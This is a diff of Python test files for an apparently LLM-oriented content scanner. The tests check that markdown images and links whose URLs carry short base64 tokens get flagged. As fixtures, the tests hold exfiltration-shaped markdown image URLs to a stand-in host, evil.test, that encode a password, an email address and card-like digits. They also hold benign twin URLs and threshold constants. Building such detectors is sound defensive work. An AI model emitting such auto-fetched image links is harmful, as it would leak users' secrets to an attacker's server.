_short_opaque_segment_gap, status="gap", owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
note="entropy is length-bound; base64 shorter than 20 chars is not decode-testable"),
]
return cases

View file

@ -181,6 +181,80 @@ def test_exfil_shaped_link_keeps_medium(cid, url):
assert finding[0].severity is Severity.MEDIUM, f"{cid}: downgraded to {finding[0].severity}"
# --- gap 6 closed (1.11.0): a SHORT token that base64-decodes to text ----------
# Below 20 characters the base64 branch never ran and entropy cannot resolve a
# name from a blob, so `![x](https://evil.test/aGVsbG8gd29ybGQ)` ("hello world")
# was LOW. A token of 8 or more characters is now opaque when it is not itself a
# word and its plaintext reads as text: readable characters only, at least 80 %
# letters, digits or spaces, and no lowercase-to-uppercase seam.
_SHORT_TEXT_B64_URLS = [
("hello-world", "https://evil.test/aGVsbG8gd29ybGQ"),
("password-with-bang", "https://evil.test/aHVudGVyMiE/p.png"), # hunter2!
("email", "https://evil.test/b2xhQG1haWwudGVzdA/p.png"), # ola@mail.test
("digits-only", "https://evil.test/NDExMTExMTExMQ/p.png"), # 4111111111
("shortest-8-chars", "https://evil.test/Zm9vYmFy/p.png"), # foobar
("19-chars", "https://evil.test/dXNlckBob3N0LnRlc3Q/p.png"), # user@host.test
("host-label", "https://aGVsbG8gd29ybGQ.evil.test/p.png"),
]
@pytest.mark.parametrize("cid,url", _SHORT_TEXT_B64_URLS, ids=[c[0] for c in _SHORT_TEXT_B64_URLS])
def test_short_base64_text_token_carries(cid, url):
image = [f for f in scan_active_content(f"![x]({url})").findings
if f.label == "active:markdown-image"]
assert len(image) == 1, f"{cid}: image not reported"
assert image[0].severity is Severity.HIGH, f"{cid}: graded {image[0].severity}"
link = [f for f in scan_active_content(f"[x]({url})").findings
if f.label == "active:markdown-link"]
assert link and link[0].severity is Severity.MEDIUM, f"{cid}: link graded {link[0].severity}"
# The benign twins the rule was measured against (2026-11-01). Each decodes to
# printable bytes, so a rule asking only for "printable" fired on it.
_SHORT_TOKEN_BENIGN_URLS = [
# a word as a token: `Pygments` decodes to `?(&z{l`
("word-capitalised", "https://pypi.org/project/Pygments/"),
# a lowercase word: `aktuelle` decodes to `jKnzY^`
("word-lowercase", "https://www.datatilsynet.no/aktuelt/aktuelle-nyheter-2025/"),
# real base64, but of a size parameter: `{"w":200}` is not readable text
("json-size-parameter", "https://c10.patreonusercontent.com/3/eyJ3IjoyMDB9/patreon-media/p.png"),
# a camelCase identifier: `endsWith` decodes to `zwlZ+a` (a seam: l then Z)
("camelcase-identifier",
"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith"),
# an ISO duration: `PT00M01S` decodes to `==43MR` (4 of 6 alphanumeric)
("iso-duration", "https://example.test/schedule/PT00M01S"),
# a random 11-char video id: decodes to bytes that are not text
("video-id", "https://youtu.be/dQw4w9WgXcQ"),
# under the 8-character floor: `aGk` is "hi" and stays a documented residual
("under-the-floor", "https://evil.test/aGk/p.png"),
# 7 chars, one under the floor: `aGVsbG8` is "hello" (5 bytes), also residual
("one-under-the-floor", "https://evil.test/aGVsbG8/p.png"),
# `@` is not a base64 character; a lenient decoder would drop both and read "foobar"
("non-base64-char", "https://example.test/Zm9v@@YmFy/p.png"),
# a word whose bytes pass every plaintext test: `Slovenly` decodes to `JZ/zyr`
# (readable, no seam, 5 of 6 alphanumeric), so only the word test stops it
("word-passing-plaintext-tests", "https://example.test/essays/Slovenly"),
# 9 alphanumeric chars is 1 more than a multiple of 4: never valid base64
("length-1-mod-4", "https://example.test/abcd1234X/p.png"),
]
@pytest.mark.parametrize("cid,url", _SHORT_TOKEN_BENIGN_URLS, ids=[c[0] for c in _SHORT_TOKEN_BENIGN_URLS])
def test_short_token_benign_twin_stays_ordinary(cid, url):
image = [f for f in scan_active_content(f"![x]({url})").findings
if f.label == "active:markdown-image"]
assert image and image[0].severity is Severity.LOW, f"{cid}: graded {image[0].severity}"
def test_short_base64_with_unreadable_plaintext_stays_ordinary():
# The plaintext must READ as text. `Tr0ub4dor&3` carries `&`, outside the
# readable alphabet, so it is a measured miss (1 of 35 in the recall set).
from llm_ingestion_guard.active_content import is_ordinary_url
assert is_ordinary_url("https://evil.test/VHIwdWI0ZG9yJjM/p.png")
# A camelCase plaintext ("JohnSmith") is the price of the seam test.
assert is_ordinary_url("https://evil.test/Sm9oblNtaXRo/p.png")
def test_fragment_is_not_treated_as_carrying():
# A fragment never reaches the server, so it cannot carry data to the host a
# renderer auto-fetches — and `…/overview#section` is the most common shape

View file

@ -95,6 +95,14 @@ def test_url_shape_thresholds_frozen():
assert cal.URL_OPAQUE_HEX_MIN_LEN == 32
def test_short_text_base64_floors_frozen():
# Gap 6 (1.11.0): a URL token of 8+ chars whose base64 plaintext reads as
# text. 8 chars is the shortest token that decodes to 6 bytes; the 0.8 share
# rejects `PT00M01S` (`==43MR`, 4 of 6) and keeps `hunter2!` (7 of 8).
assert cal.URL_SHORT_B64_MIN_LEN == 8
assert cal.URL_SHORT_B64_TEXT_SHARE == 0.8
def test_no_detector_emitted_low_before_the_url_shape_change():
"""The floor change (any finding -> MEDIUM+) is only honest as a *patch* if
nothing that shipped before it emitted LOW — otherwise it would silently
@ -158,3 +166,5 @@ def test_active_content_module_sources_from_calibration():
assert active_content._OPAQUE_H is cal.URL_OPAQUE_ENTROPY_H
assert active_content._OPAQUE_MIN_LEN is cal.URL_OPAQUE_MIN_LEN
assert active_content._OPAQUE_HEX_LEN is cal.URL_OPAQUE_HEX_MIN_LEN
assert active_content._SHORT_B64_MIN_LEN is cal.URL_SHORT_B64_MIN_LEN
assert active_content._SHORT_B64_TEXT_SHARE is cal.URL_SHORT_B64_TEXT_SHARE

View file

@ -272,13 +272,13 @@ def test_redos_sweep_floor_and_flag_match_the_published_numbers():
assert "2.6 flag threshold" in text
def test_redos_sweep_collector_covers_169_patterns_across_11_tables():
# The count docs/LIMITATIONS.md carries as "all 169 compiled patterns across
def test_redos_sweep_collector_covers_173_patterns_across_11_tables():
# The count docs/LIMITATIONS.md carries as "all 173 compiled patterns across
# all eleven regex-bearing modules". A pattern added or removed in `src/`
# without re-measuring would drift the doc's claim silently otherwise.
assert len(redos_sweep.TABLES) == 11
total = sum(len(collect()) for collect in redos_sweep.TABLES.values())
assert total == 169
assert total == 173
def test_redos_sweep_collector_walks_a_dict_of_patterns():

View file

@ -24,7 +24,8 @@ FROZEN_SHA256 = "b1a6d5be5fbfc81263e55135abf11bc6fe349eac82db0d1e84f9e44949b9d22
# tag -> the `expect` of the caught case that now holds it: a finding label, or
# the name of a predicate case when the closing rule adds no label (gap 4).
CLOSED: dict[str, str] = {"dedup": "count", "hex-wrapped": "hex-wrapped"}
CLOSED: dict[str, str] = {"dedup": "count", "hex-wrapped": "hex-wrapped",
"short-opaque": "short-opaque"}
def _rows() -> list[dict[str, str]]: